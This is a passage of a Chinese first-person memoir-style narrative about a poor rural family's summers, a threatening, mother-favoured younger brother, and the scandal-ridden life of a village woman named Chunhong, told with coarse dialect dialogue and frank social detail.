我妈妈说:“行,谁对恁好,谁给恁什么吃了喝了,恁家来跟我说。我见了人家的面儿,好跟人家道道情。咱家有什么稀罕物儿,也好给人家补补人情。” 我说:“妈妈,俺大奶奶家里生活儿好,闲着没事儿还能包个饺子。” 我妈妈说:“恁大奶奶可怜的!前些日子,因为两家争地边子,恁大奶奶差点儿被她东院的小雨的爸爸打死!恁大奶奶被打地遍体鳞伤。农村人,家里打手少,就挨人扼。” “那个小雨的爸爸都四十好几了,俺大奶奶哪禁得住他打啊?”我说。 “恁春枝奶奶被他打地可厉害了。恁大爷爷把她拉到恁水清大爷那里的。恁大奶奶可挨苦了。血红淋漓的。可怜!”我妈妈说。 “俺大奶奶家的二叔不是学武了吗?”我问我妈妈。 “学武有什么用啊,他又不搁家。姓孙的门户小,姓凡的打手多。双拳难敌四手。学武又能把人怎么样啊?”我妈妈说。 “他打俺大奶奶的时候,没有人拉架吗?”我说。 我妈妈说:“有好心人去拉架。拉架有什么用哎,早就打完了。” 我说:“你当时知道这事儿吧?” 我妈妈说:“我上山了,不知道这事儿。我要是知道,我能不去拉架嘛。俺后来知道了,去看了看恁大奶奶,给她带了二十个鸡蛋。” “你是该去看看俺大奶奶的,人家对咱恁么好。”我说。 “你下回放学回来给我买瓶红霉素眼药膏哈。”我妈妈揉着眼说。 我说:“你的眼睛怎么回事儿啊?” 我妈妈说:“我是熬眼儿熬的。俺最近吧,每天晚上都去恁大奶奶家里看电视,听柳琴戏。每天都看到十二点。” 我说:“柳琴戏恁好听啊?你白天干一天的活儿不累啊?还能听到十二点。” 我妈妈说:“知道了,俺现在不去了。我就是爱听戏。” 放暑假的时候,我们要搬宿舍了。 我跟我弟弟说:“小弟,俺要搬宿舍了,你跟我一块儿去帮忙去吧。” 我弟弟说:“行!我借咱春枝奶奶家的三轮车去!” 我说:“春枝奶奶给借吧?” 我弟弟说:“给借!” 我说:“我还不会骑三轮车呢。” 我弟弟说:“正常,会骑自行车的就不会骑三轮车。” 我说:“那你跟咱小妹怎么都会的。” 我弟弟说:“我跟笑笑经常借咱春枝奶奶的三轮车骑,慢慢地就会了。” 就这样,我弟弟骑着借来的三轮车,跟着我到了学校的女生宿舍。腾空的宿舍里,女生的丝袜、胸罩落了一地。我弟弟兴奋地蹲在地上去捡,他一口气捡了好多,都揣在怀里。 我问他:“你捡这个干什么的?快扔了吧!” 他说:“我有用。你要吧?” 我说:“我不要,我嫌脏。你不嫌脏啊?” 他说:“不脏。” 我弟弟捡了那些东西干嘛呢,我很疑惑。 一天,我弟弟不在家的时候,我看到他的一个衣裳袋子里有鼓鼓囔囔的东西。我觉得那像是女人的东西。我就偷偷地打开他的袋子。袋子打开了,我一看。是丝袜。他把很多的长筒丝袜团成了球,集中放在一个丝袜里头,圆鼓鼓的,像是女人身上长的某种东西。此外,那袋子里还有很多带血的卫生巾。他这又是从哪里捡来的呢?他又是什么时候去捡的呢?他不嫌脏吗?我的脑袋很懵。青春期的男孩子可能对异性充满了好奇,但也不至于收藏这些东西吧。这些污秽的东西留在家里也不好啊,我得赶紧给他扔了。 我提着那个袋子,把袋子里头的东西全给扔到了我家屋后头的大坑里。大坑边,谁家的羊被拴在了一棵折断了的柳树上,下雨了,那羊“咩咩”地叫着,听着好生可怜。我就去家里找了块塑料纸,给它披上。 我回到家里,看着屋檐上的雨,那雨密密麻麻,越下越大,很快,我家屋檐下的那个绿色的陶瓷小酒盅里就落满了雨水,那方形的小酒盅不知道是我妈妈从哪里捡来的。雨水从天上降落下来打在小酒盅上,跳起来多高,弹落到屋门外头我妈妈捡来的几块小瓷砖上。那些瓷砖是我妈妈留着放碗、放菜的。我家天井里是黄泥地,那几块瓷砖留着放东西,这样显得干净。 我闲着没事儿,就去拿我弟弟的一本武侠小说看,那是盗版的《倚天屠龙记》。字迹印刷地很小很细,书里散发着不太好闻的香气。看着看着,我在书页里看到了他写的纸条,字是用铅笔写的:“顾丹穿着薄薄的纱衣,我喘息着对她说,顾丹……” 我拿着那张纸条儿,头“嗡”地一下,懵在原地。我一时手足无措了。我知道,弟弟长大了,内心有了关于男女的想法,这个我能理解。我也知道,是恶劣的环境把他挤压地太厉害,他像是石头底下的一棵嫩白的小芽儿,被挤压地弯曲了,他一时找不到光亮,就在黑暗里痛苦地胡乱挣扎着生长。他越是痛苦,一个友爱的女孩子对他来说,越是意味着另一种出路。爱情,对于一个身陷黑暗的矿坑里的少年来说,更像是片刻的自我麻痹和救赎。但我觉得,内心的那点儿说不出口的想法还是不要写出来吧,把那点正常的隐私弄得太明白,就有些太赤裸裸了。我还是希望他能多一些阳光,少一些不能被人看得见的地方。食色性都很正常,但太赤裸裸就会堕入淫邪。一个人一旦堕入淫邪,就会伤身伤神伤志伤心。我的弟弟,他一旦这样下去,他的向上攀爬的力量就会消弭,他的前途也就很渺茫了。 我拿着那纸条儿,一时不知道该怎么办才好。我小心翼翼地走到屋里,把那张小纸条儿重新放回到弟弟的书里。想了想,觉得不妥,还是不要给他留下来吧。我就把那纸条撕了,丢进了我家的灶膛里。弟弟还没有回来。我呆呆地在屋门口儿站了半天,看着雨后亮堂堂的天光,心里一片悲凉。 暑假里剥蒜,都是我跟妹妹两个人,按部就班地从早剥到晚。 每天,我跟妹妹早早起床。我起来以后,就打好几盆水,放在院子里晒着,这样晒一天,冰凉的井水也就变得温和了,太阳好的时候,还会被晒地热热的。晚上,等收了工,我和妹妹就可以用这温水擦擦澡了。 晒好水,我就端着簸箕、背着粪箕子,到蒜架子上扒蒜,然后背到大门口儿的小槐树底下,跟我妹妹一起坐着剥蒜。我们边剥蒜,边拉拉呱。有时候也吵架。我妈妈要烧汤炒菜,她忙来忙去,很少有空儿剥蒜。 我弟弟干活总是松松垮垮,懒懒散散。他很少剥蒜,有时候剥一会儿,就回他的屋里睡觉去了。 “他身体不好,随我,有点贫血,爱犯困,让他睡去吧。”我妈妈说。 我妹妹朝我撇撇嘴儿,我弟弟不爱剥蒜,我倒是不太在乎,我乐得他不在跟前,我跟我妹妹姊妹两个好一起好好地剥蒜。 “俺哥也是的,一大早怎么又困了的?”我妹妹说。 “他夜里没干好事儿呗。”我说。 “咱妈太惯俺哥了,也不管管他。”我妹妹说。 “她惯让她惯去吧。惯得不像样儿,她还不承认。后果她自己受着。”我跟我妹妹说。 我弟弟回屋睡觉去了。我妈妈把烧好的汤盛在瓷盆子里,放在天井里凉着。她提着几根没烧完的炭火棍子走到大门口的压水井那儿,弯下腰,把炭火棍子浸到水里。“嗞”地一声,那黑色的炭火棍子冒出了一股子白气。 “恁洗手洗脸!准备吃饭了!”我妈妈眯着被烟熏火燎的眼睛说。一只青蛙跳着,跳着,跳进了我妈妈刚烧好的那盆子汤里。 “娘啊,蛙子跳进去了!怎么办了?”我妈妈看着我们说。我们也不知道如何回答。费了那么大的功夫烧好的汤,哪能倒掉呢?再烧的话也不可能,那要费多少时间呢。我妈妈犹豫了不到三秒钟,就抄起勺子,把那只倒霉的小青蛙给舀出来,泼了出去。 “烫熟了!”我妈妈说,“咱今天喝个蛙子汤!” 我妈妈开始盛汤,端起碗喝汤。我弟弟、妹妹他们也开始盛汤喝汤。那盆汤,我没喝。我不知道那个青蛙在跳进那个盆子之前,它的脚上携带了多少脏东西有多少细菌。我不想喝这么鲜美的青蛙汤。 吃完早饭,我跟妹妹又开始剥蒜。没过多大一会儿,我妈妈又要去做中午饭了。家里没什么菜,我妈妈就去屋后头,到拔掉的辣椒棵上,摘上头的辣椒子家来炒着吃。那些辣椒子被太阳晒地红红的,软软地,黄黄的。我妈妈把那些辣椒子摘下来,切上一堆辣椒皮子,放在锅里炒炒,再做一锅米饭。该吃饭的时候,我们一人捧着一碗大米饭,上头盛上一铲子辣椒皮子。你还别说,那晒地发软的辣椒皮子还真好吃,又辣又香。 “卖树了!卖树了!”一个男人推着自行车从我家门口儿路过。 “有树要卖吗?”他问我妈妈说。 “这棵树你看看,能给多少钱?”我妈妈端着碗指着天井里的小槐树说。 “这棵树啊,顶多二十块钱吧。”买树的说。 “什么?二十!太少了。俺不能卖。”我妈妈说,“俺留着它搁当院子来,夏天剥蒜,还能给俺遮凉儿!” “你留着留着吧。”收树的说,“你这棵小槐树头儿上都歪了。” 我们姊妹仨也端着碗到大门口儿来看。 “这是恁家的小孩儿?”收树的说。 “嗯,都是俺家的。”我妈妈说。 “小孩儿碗里怎么都是辣椒皮子的?你就给小孩儿吃这个啊?”收树的陌生男人说。 我妈妈说:“不吃这个吃什么啊?俺家没有菜吃。我这是搁辣椒棵上摘下来的。” “吃这个好上火!小孩儿能受得了啊。”收树的说。 “那也没办法。”我妈妈不当回事儿地说,“俺三个小孩儿吃的还怪香来。” 晚上,天黑了,蚊子也出来了,该收工了。我们把蒜皮扫扫,扫到一堆。我妈妈把蒜皮胡搂到粪箕子里,跟我们说:“恁去洗澡去吧!”我妈妈把蒜皮背到屋后头,接着去烧饭,我弟弟肩膀上搭着一条毛巾,去屋后头的河里洗澡。我跟妹妹把屋门关好,在屋里擦擦身上的汗水和尘土。 一到夏天,我家院子里蚊子就很多。因为靠近河边,天井里又种着很多棵桃树,石榴树,还有向日葵。那些蚊子都是咬人特别厉害的长腿白花的大花蚊子。每天吃晚饭的时候,我们都是端着饭碗走着吃着,时不时弯下腰,对着自己的小腿肚子“啪”地一下拍下去。拍着拍着,那小腿上就留下了很多蚊子血。拍蚊子这种事情,我从小干到大。所以,精准地拍蚊子是我的强项。见蚊子就拍,成了我的习惯。我带着杀死敌人的仇恨和决心,去追杀每一只咬我的、准备来咬我的蚊子。攻守结合,步步为营。时刻准备给蚊子以致命的一击。而我的命中率也比一般人要高。看着一只蚊子死在我的巴掌底下,我就有一种天然的成就感。仿佛我真的杀死了一只来犯的敌人一般。 那些年,我们家里都没有风扇。 夜里,我妈妈热地睡不着,就来我们的门口儿跟我们说:“我热得睡不着呢?恁能睡着吧?” 我说:“能睡着。” 我妈妈说:“恁去河里洗澡去吧?咱做着伴儿一块儿去?” 我说:“行。” 我们就起来,跟着我妈妈往河里走去。 “恁走前头,我拿着镀灯跟在后头,给恁照着亮儿。”我妈妈说,“看好脚底下哈,别有蛇吧。” “妈妈,外头蛮凉快的!不出来不知道来!”我们快乐地说。 “嗯,外头小风刮地呼呼的。说话小声儿点儿,别让人听到哈。人家跟咱有仇的,会朝咱扔黑石头!”我妈妈警告我们说。 我们扒开玉米棵往前走着,到了河边儿,我妈妈先下了水。 我妈妈说:“恁先在边儿上等等。我来看看哈,别有脏东西。去年下大雨的时候,听说河里来了一条大蟒,乘着雾气从大江大河里来的。到河里洗澡可要小心哈!好!没事儿了,恁都下来吧!” 我们也扑通扑通趟水进去,抄起河水洗了起来。河面儿上,寂静无声。 “这河里都是菱角!”我说。 “菱角太多了,把空气遮住了,都不好养鱼了。”我妈妈说,“咱走吧!五更半夜的,咱还是赶紧回去吧。” “行!”我们趟着水往岸上走去。 “妈!妈!你看!那是什么!”我弟弟指着我们身后说。 我们回头看去。远远地,从东北方的水面上,飘来了一个黑黑的东西。 “不知道是什么?不会是鬼吧?”我们说,“恁吓人的!” 我妈妈也不知道是什么,她说:“我也不知道,咱别看了,咱走吧。” 可是,我们还是忍不住朝着河面定睛观看。 那黑黑的东西越来越近了。 “那是什么?”我妹妹问? “我看像是大皮轱辘嘛。”我弟弟说。 “是大皮轱辘。”我说。 “是人坐在大皮轱辘上的!”我弟弟说。 “他坐在大皮轱辘上干嘛的?他也是来河里洗澡的吗?”我说。 “偷鱼的!”我妈妈说,“趁着夜里来偷鱼的!咱赶紧走吧。” 我们沿着玉米地里的小路来到了我家屋后头的柴垛前。 “我看那像是刺猬的?”我妈妈说。夜色里,柴垛子前头趴着一个小小的东西。 “是刺猬!”我弟弟说着快步走过去,弯腰要去捉拿。 我妈妈说:“你别逮!别扎着手!我会逮,你不会逮!” 我妈妈弯下腰,把那刺猬逮在手里。 “吃刺猬净肚的。先把它压在囤窝子里头,我明天把它在锅底下烧烧。恁谁吃啊?笑笑吃吧?” “给俺哥吃吧!”我妹妹说。 “行!给鸿雁吃了吧,鸿雁太瘦了。吃刺猬能治黄病。”我妈妈说。 第二天,一大早,河面上还是白茫茫一片雾气,玉环大爷爷跟玉环大奶奶早已撑着船,在河里撒网,逮鱼了。他们逮鱼的时候敲着梆子。 我问我妈妈:“妈妈,玉环爷爷逮鱼怎么还敲梆子的?不怕把鱼吓跑了啊?” 我妈妈说:“敲梆子把鱼惊起来啊。要不鱼都在水底下,上哪儿逮鱼去啊!” 吃过早饭,我弟弟说:“我看玉环大爷爷家的小船儿闲着的,咱到河北沿儿去玩儿吧。” 我和我妹妹都说:“好啊。” 我问我弟弟:“你会划船吗?” 我弟弟说:“会啊。河边儿上的船,没人使的时候,我就自己解开绳子,带着咱小妹到河里玩儿。” 我小妹也说:“俺哥会划船。你放心吧,姐!”我弟弟就去玉环大爷爷屋后,把他的小船儿解下来。 我问他:“玉环爷爷不会怪罪吧?” 我弟弟说:“不会的。玉环爷爷经常送人过河。谁要是想去河北沿儿,跟他说一声儿,他就把人送过去。” 我弟弟把船推下了水,我们摇摇晃晃地上了船。我长这么大,没怎么坐过船。船上没有坐的地方。我们就蹲在船舷里。我弟弟举着船桨划着船。小船晃晃悠悠地来到了河中心。那是一片芦苇滩。过了那片芦苇滩,就是河北沿了。 我弟弟说:“这是河当心了,要小心了。”他手里划着船桨,想把小船划拉着向前。小船开始不听使唤了。像个蠢笨的水牛在河心晃悠、打转儿,就是不向前。 我弟弟有些慌了。我跟我妹妹也慌了。我弟弟“哎哎”地惊叫,我们也“哎哎”地惊叫。好在我弟弟还是个负责任的舵手,他稳稳地握住了船桨,把我们的小船儿划开了。 “赶紧调头回去吧!”我们说。 “嗯,赶紧回去吧!”我弟弟也说,他把小船慢悠悠地划回了河岸上。 我们下了船,我弟弟系好船缆绳。我们到了地面上,总算松了一口气。 我们望着彼此的脸说:“刚才多危险啊!” “刚才可把我吓死了,这条河淹死过可多人了!”我弟弟说,“有一个人,她在河沿边上洗衣裳。水里,有一个人飘飘荡荡地朝着她浮过来了。她以为是谁在扎猛子,没当回事儿。等那人漂近了。她一看,是个老嫲嫲,头上扎着小缵儿,脸朝上,一动不动的。她这才知道眼前是个死人。把她吓得连洗衣盆都没端,撒腿就跑。” “人淹死了脸是朝上的吗?”我问他。 “男的淹死了,脸朝下。女的淹死了,脸朝上。”我弟弟说。 “啊?还有这种讲言啊!”我说,“你都是听谁说的?” “我经常来这里洗澡,听人家来洗澡的人说的。”我弟弟说。 “俺哥,这条河冬天上冻吧?”我妹妹说。 “上冻。”我弟弟说。 “那咱冬天来这里滑冰。”我妹妹说。 “不能滑冰。危险。以前,一个老师来河上跑冰,就给淹死了。”我弟弟说。 “啊?那是怎么回事儿?还淹死个老师?”我说。 “那个老师是外地的,这庄的人都不知道他是哪儿的。冬天的时候,河里上冻了,他踩着冰,去河北沿儿。到了河当央,冰面破了,那个老师扒着冰,想上来的。扒来扒去,就是没能上来。”我弟弟说。 “扒着冰也不能爬上来吗?”我问。 “嗯。他一扒,那冰就碎了,一扒,那冰就碎了。最后,那个老师扒了有半亩地的冰。”我弟弟说。 “当时没有人救救他吗?”我说。 “看到的人可多了,干着急,就是不知道用什么办法救他。”我弟弟说。 “唉!那个老师真可怜!”我说。 “当时人家都没想起来。要是给他一条绳子,或是给他一根扁担,他或许就能上来了。”我弟弟说。 “笑笑听到了吗?以后可不要跑冰了。这条河怪深的,危险。”我说。 我们就这样像往常一样正常相处了很多天。后来的一天下午。我弟弟突然找我来了,他直直地站在我面前,气地直抖,两个拳头攥地“咔咔”响。 我们都不说话,就这样干瞪着对方。 我妈妈看我们闹架了,跟着问:“怎么回事儿啊?鸿雁生恁姐什么气的?” 我弟弟不说话,我也不说话。 我看了看他,理直气壮地对着他冷笑了一下。我知道他很恨我,可是恨我的理由,他又说不出口。 后来,我弟弟花三百块钱,买了一把足足有一人高的宝剑。他动不动就舞动几下宝剑,冷笑几下,说他要用这把宝剑杀人。我知道他是在威胁我,我也知道他完全干得出来。他在外面没有打过架,在外面打架,要付出代价,何况,凡庄的男孩儿很多,他也打不过。他只会在家里耍威风威胁我。他打我一顿,有我妈妈护着,那代价要小地多。甚至不会有任何代价。这个他心里明白,我心里也明白。 我开始真地怕他,在他面前,我有了性命之忧了。 我非常相信,他如果把我杀了,我妈妈绝对不会报案,她会千方百计地替他掩盖,甚至替他去坐牢,说是她杀的。而如果是我把我弟弟杀了,我妈妈绝对会发疯,会把我撕烂,会把我剁成肉酱。 一天,我热地受不了,就端了一盆水来到屋里,把屋门关上,在里头用门栓栓上门儿,躲在屋里头洗澡。 我弟弟来了,他推了推门儿,不能进屋,就生气地踢门。 我妹妹告诉他:“大姐在里头洗澡的。” 我弟弟在门外骂道:“又当婊子又立牌坊!” 我在屋里听到了我弟弟的骂声,赶紧收拾好出来把门打开。 我跟我妹妹一块儿坐在我家东屋的门口儿剥蒜。我坐在南边儿,我妹妹挨着门框儿,坐在我对面儿。 我弟弟在屋里头站着,他的拳头攥地紧紧地,骨节攥地“咔吧咔吧”地响,他是气冲脑门儿了。我只要一吭声,我胆敢跟他来硬的,他肯定对着我一顿拳打脚踢。 当时,只有我们三个在家。那天,我妈妈不在家。即使她在也没多大的用。她惯她儿子惯地越发明显了。 “洗个澡还把门关上!又当婊子又立牌坊!”我弟弟鄙视地骂道。他骂我的时候,他的鼻子跟他脸上的横肉皱到了一起。 面对我弟弟对我的辱骂,我跟我妹妹一起低着头坐着剥蒜,没敢吭声儿。 “你不能这样骂姐姐!”我幼小的妹妹突然哭着说,“姐姐大了!”我最幼小的妹妹居然比我还要勇敢,面对她暴戾的哥哥,她居然为我发声了。她止不住地哭泣着,一行行的眼泪滚到她的脸上、嘴巴上。 我的眼泪一下子滚落了下来。我弟弟的暴戾在我妹妹的哭泣里有些被感化了。 我弟弟开始敌视我,他对我妹妹倒是好一些,因为我妹妹太小,没有主意,不管他的事儿。还有一个原因,那是我妹妹始终也不太清楚的原因。那个原因我知道,我从我弟弟自以为很深奥很诡秘的眼神儿里看的出来。那个原因其实很没有格局很没有格调也很没有必要。那个原因是,我弟弟别出心裁地认为,他跟我妹妹更亲。我跟她们更远。是的,单纯从长相上来说,我弟弟跟我妹妹确实长得更像是一家人。他们都是长脸、单眼皮儿,都有着一双比我的腿更长一些的腿。而我,我是五短身材,我是大大的脑袋,方方的脸,还有双双的眼皮儿,一看跟他们就不像是一家人。可是,我弟弟树立的这个细致入微的差异,在我妹妹那里没有任何的实际意义。我妹妹根本就不认可他这个从血缘上来说确实更为亲近的哥哥。不仅不认可,还非常地排斥。相反地,她更认可我这个姐姐。 我开始害怕我弟弟了。我对我弟弟的害怕里充满了鄙视,对我妈妈也充满了同样的鄙视。我对这个家更加没什么热爱了。只有我可爱天真善良的妹妹,我对她还是一如既往。 我也很疼我这个小妹妹。越是疼她越是担心她。有时候,她出去玩儿了,我在家里,听到大街上有小孩儿的哭声儿,我的心里头就发慌,担心她被别人打了。 有一阵子,听说我们那里要地震了。夜里,妹妹睡着了。我还是担心地睡不着。我看着熟睡的妹妹,做着自己的打算:如果地震,我就把我妹妹护在我身子底下。我要好好保护她。 我妹妹性格比我好,用我妈妈的话说,就是懦弱。我有时候也跟她生气。她不高兴了,就自己到我家后头的河沿上走走,身后跟着不知道是谁家的小黑猫。妹妹剪着一头短发,穿着不知道是谁家给的绿色的小褂儿。她的头发黑黑的、亮亮的,散发出小女孩儿的头发的香气。 我妹妹性格太懦弱,自己的事自己也不说。 有一回,她难受得哭了,她跑到我家屋后头河沿边儿上蹲着哭,谁都不知道她是怎么回事儿。她自己也说不清。我摸摸她的头,发烧了。我赶紧骑上自行车,把她带到水清大爷的小诊所,用温度计一量,38度!我赶紧让水清大爷给她打针、开药,然后再把她带回家。妈妈和弟弟对妹妹的发烧都很平静。只有我,心里很不平。我妹妹还小,这次如果不是我发现她高烧了,她要烧到什么时候,她会烧成什么样子。我很爱我的小妹妹。我的幼小的妹妹,她漂亮,可爱,乖巧,她才八九岁,本应该是被大人捧在手心儿里,宠着疼着的年纪。可是,这么美好的她,却出生在我们这样的家里。 我们天天坐着剥蒜,一坐就是几个小时,直到想去上厕所了,才起来动一动,洗洗胳膊腿儿上落的一层土,再去上厕所。虽然有树凉荫,但是大夏天,还是很热,我们每天中午都吃辣椒皮子拌大米饭。这样一来,我很快就得了痔疮。 我妈妈带着我去青羊山医院检查了一下,买了一瓶马应龙麝香痔疮膏,我抹上了,也没多大作用。我妈妈带我检查回来的那个中午,我们家里炒了大家都爱吃的辣椒小鱼,卷煎饼吃。我因为得了痔疮,不能吃辣的,就挑了一点不辣的辣椒皮子卷了煎饼吃。 是的,我得了痔疮了,我妈妈还炒辣椒小鱼吃。他们都爱吃。没人在乎我的身体。穷人的家里,没那么多讲究和在乎。 后来,山东的我姥姥听说我得了痔疮,让我二姨带着她去了她们的山上,采了一种开紫花的草药,晒干了,烧成灰,让我妈妈带回南乡,用香油拌了,给我抹,也是没有多大的用。 一天,吃罢了晚饭,国美大奶奶围着庄骂街了。 “恁都听到,俺家孙女子的小褂儿,被恁谁家的小孩儿给拿走了。恁都问问自己家的小孩儿。是谁拿的,恁赶紧给俺还回来。俺晚上洗好晾在外头绳上的,恁夜里给俺拿走了。到了清起俺就找不到了。是谁拿的,恁给俺还回来。都稀好稀好的。”大家听地仔细。她孙女子晒在天井的小褂儿找不到了。不知道是哪个男孩子给偷了去了。 我妈妈看着我说:“恁国美奶奶嘴下留情了,可能她知道是谁拿的,人家都没怎么骂。你说是谁拿的啊?” 我心里有数,我猜我妈妈心里也有数。 但是我假装不知道,我跟我妈妈说:“谁知道!我也不知道!” 后来,我妈妈去国美大奶奶家里玩,大奶奶说,她孙女子的小褂儿被还回来了。 “你看!拿这个绿酒盅包着,扔到院子里头的!”国美大奶奶拿着那个绿酒盅给我妈妈看。 “噢,还回来就好,二婶子,你说是谁干的。现在的小孩儿都这样的。”我妈妈还是装作不知道。 我知道,我妈妈肯定知道。她肯定认得那个绿色的小酒盅,那酒盅是方口儿的,那是她捡来的。她喜欢捡东西。她喜欢那些小巧的东西,她买不起,只能捡。我记得小时候,在我们荆堂的家里,在堂屋里饭桌旁边的石台子上,有一个破碗片子,上头是一个老寿星拄着拐杖,低头笑看着一群小孩儿。那是人家扔掉的一个破碗,她因为喜欢那上头的图案,就把它捡了来,还费了一番功夫,把那图案周遭儿的瓷片儿都一点一点敲掉,只留下她喜欢的那个寿星佬儿和一群小儿。老寿星跟那一群小儿都穿着大红色的衣衫。我之所以对这个破碗片儿记忆这么深刻,是因为那个破碗片子,我也喜欢。 2.春红 一个中午,我正抱着煎饼跟我妈妈一起坐在堂屋跟前说话。忽听有人围着小芹家转来转去骂个不停。 “谁的声儿?” “是春红!”我妈妈说。 “恁娘把你生在尿罐子里头了?你怎么那么骚的?骚公鸡!骚公狗!就喜趴到人家墙头上看人家女人洗澡!是谁教你的?恁娘教你的?恁娘身上没有啊?恁娘身上就有!你喜欢看就天天对着恁娘好好看!恁娘洗澡也不用插大门,就对着你,给你看个够!”这是谁家男人偷看春红洗澡了。农村的娘们头子,都会骂人的。 “春红怎么一个劲儿的围着小芹家骂的?”我说。 “肯定是大恶心偷看春红洗澡了呗。”我妈妈说。 春红还是围着小芹家扯着嗓子骂个不停:“人家洗澡你去偷看,好看吧?跟恁娘的一模一样!恁娘那里就有,你费那个劲儿去偷看人家的干什么?你看人家的还得挨骂,你去看恁娘的去,你看恁娘的,你看地两个眼珠子都磨出茧来,恁娘也不生气。恁娘还得扒着给你看!” 小芹家的大门“吱呀”一声打开了。小芹的娘走了出来。 “大婶子,恁可消消气吧。大婶子,都是大恶心不是人!恁打就打我,骂就骂我吧,大婶子。我给恁跪下了!恁消消气吧,大婶子,只要恁能消消气,我让他到恁门上跟您磕头去!” 小芹娘扶着春红的大腿盖子跪了下来。春红的骂声这才停歇了下来。 大恶心到底有没有给春红磕头,我们不得而知,只知道这以后人家家里的女人尤其是女孩儿洗澡的时候,都锁好了大门,怕是大恶心趴在人家墙头上看人家洗澡。 “二蛮子”只是凡庄风流界的小巫,说风骚,论风流,那得数春红。春红跟二蛮子相比,更美丰姿,体格硕大白胖,见识广,规格高。 那也是一个夏天,我们跟我妈妈一起走在离凡庄不远的一条街上。一个老头儿穿着一件蓝色的背心,慢吞吞地走在他家门口儿的大路上,他手里拿着一根冰棍儿,边走边悠闲地吃着。 我妈妈跟我们说:“这就是春红的爹。春红还没出嫁的时候,她爹使船,做生意赔了,欠了人家大老板一屁股债,正在苦恼呢。春红她娘跟她爹说,‘有什么好苦恼的?!你个大男人真没用!看我的!’春红的娘把春红跟她姐妹一带,去找了那个大老板,春红爹的难题就解决了。这以后,人家大老板还帮衬着她爹做生意,春红她爹从此财源滚滚一本万利。春红结婚的时候,人家那个大老板还赔送了她恁些嫁妆。凡庄的人都说,‘春红啊,你光看你的嫁妆多,你的肚皮都给磨透了吧。’” 春红的爹也跟春红一样,高高大大,白白胖胖,一股子富贵模样。不知怎的,他拿着一根儿冰棍儿享受的样子,让我相信了那些关于他的传说都是真的。 春红在外面我行我素,她丈夫管她不着。有时候,她丈夫也会把“二蛮子”带回家。春红回家以后,拿着毯子到河沿去洗,边洗边跟人抱怨:“我不搁家,他找了‘二蛮子’,把我的毯子都弄脏了!” 春红后来有了一个固定的搭档,叫颜净。颜净自己跑工程,也有一儿一女,但是他现如今有了春红,放着自己的一双儿女不顾,天天开着车,带着春红这个大家公知的老板娘四处奔忙。颜净的婆娘来闹,拿着刀来砍春红,春红夺过刀把她给砍了,还把她送进了看守所。 我妈妈打她家门口儿路过的时候,看见了春红。她的一只手包扎着,用另一只手打着电脑,颜净在旁边陪着。颜净不去给自己的婆娘送牢饭。颜净的女儿上大学没了生活费,哭着来向颜净讨生活费,颜净身无分文。倒是坐在副驾上的春红,大大方方地给了颜净的女儿饭钱二百文。 春红的买卖脉脉很多,近在村里,远到镇里,都有她的人,真可谓手眼通天。春红的老大伯家有一女叫瑶瑶,曾是因为计划生育超生,给瑶瑶的爷爷奶奶在凡庄抚养。后来,瑶瑶渐渐长大,瑶瑶的爷爷奶奶年迈,便由春红顺理成章地接手。眼看着瑶瑶过几年就可以出嫁了,瑶瑶的亲生父母想把瑶瑶接到身边,想给她找个好人家。可是春红不同意。打发瑶瑶出嫁是名利双收的事,她可不愿意丢掉这笔大生意。瑶瑶的爸爸,也就是春红的大伯哥,偷偷地来到凡庄,要带瑶瑶走,瑶瑶也跟着她爸爸的自行车,一路到了青羊山镇里。 春红知道了自己的大伯哥要带走他的亲生女儿的事,当即一个电话打到镇里。镇里的有关人员直接按图索骥,在半路上拦住了瑶瑶和她爸爸,说他来路不明,诱骗良家女子,这属于倒卖人口,他们把瑶瑶的爸爸打了个半死。春红这边跟她丈夫一起摆架启程,前去捉拿瑶瑶的爸爸。等春红亲去镇里时,亏了瑶瑶向二婶婶下跪,春红亲启朱唇,众人这才放过瑶瑶的父亲。瑶瑶的父亲失去了女儿,一身重伤,回去了。瑶瑶也主动甘愿回到二婶子这里,听凭二婶子发落。 春红的爹使船,春红便让瑶瑶去船上做饭。春红她爹有一个帮工,是个小青年儿,来自偏远的农村,跟瑶瑶一来二去熟识了,成了眷侣。春红一开始因为男方穷,不同意。哪知瑶瑶铁了心要跟他。瑶瑶跟春红说:“二婶子,我生是他的人,死是他的鬼。如今,我已经有了身孕,你要是不同意,我就从这大河里跳下去,二婶子,到时候,你给俺们娘俩儿收尸。”春红无奈,向男方要了不少钱,亲自打发春红出阁。 春红这个婶子,除了要了一笔彩礼,对瑶瑶的婚事并不曾怎么过问。瑶瑶出嫁那天,穿着自己缝制的一件红衣上了花轿,去了那个偏远的据说连玉米都不够吃的山村。这以后瑶瑶的生活可想而知。 我在上学的路上看到过春红一回,我们骑着自行车碰个照面。她应该不认得我。我看她的打扮,大概知道她是春红。她穿着一袭华丽的貌似真丝的蓝裙子,上头明晃晃吊着很多流苏,她的全身都是白的胖的。不大的眼睛里露出眯眯的笑。她打扮地华丽,像个贵妇人,跟她从里头走出来的村子很不相称。她往庄外走,她这是要去青羊山镇上吗?我在心里猜测着。 春红自己也育有一女,叫珊珊。珊珊美貌,比瑶瑶更胜一筹。听说珊珊跟镇里首富的儿子谈了恋爱,那个首富的儿子常来凡庄看望珊珊。我妹妹那时候还是小孩儿,见了珊珊,叫她姐姐,珊珊就叫她去帮她们买冰棍儿。 珊珊谈了首富的儿子,以后的日子自然非富即贵。谁知道好景不长。首富之家对珊珊的母亲的绯闻早有耳闻,对珊珊并不满意。而珊珊,居然在她母亲的撺掇下,开始跟她母亲一起一样走了下流。据说首富之子本来对珊珊情有独钟,坚持来与珊珊幽会。只是有一次,首富之子来寻珊珊时,寻她不着,珊珊去别处风流去也,他这才知道自己被珊珊辜负,枉费了公子少年一片痴心。这以后那首富之子也就与珊珊断了关系。此时珊珊已有身孕,竟是那首富之家的公子的血脉。待珊珊生产之时,首富之家来医院,带走了自家孙子,给了珊珊一套县里的房子,作为她的青春损失费。不久以后,珊珊又另许他人。 我上学的时候,有一段时间,喜欢走凡庄家前的一条路。那条路,直奔西山上。我走过那条路,走过西山头的山脚下,就快要到学校了。从凡庄南家前,沿着那条路往前走,不足三百米,就到了一片坟地。那片坟地上,错落着一座座坟墓,竖立着座座石碑,简直称得上是一片碑林。那片石碑,也是各式各样,有的长,有的短,有的高大,有的短小精悍。 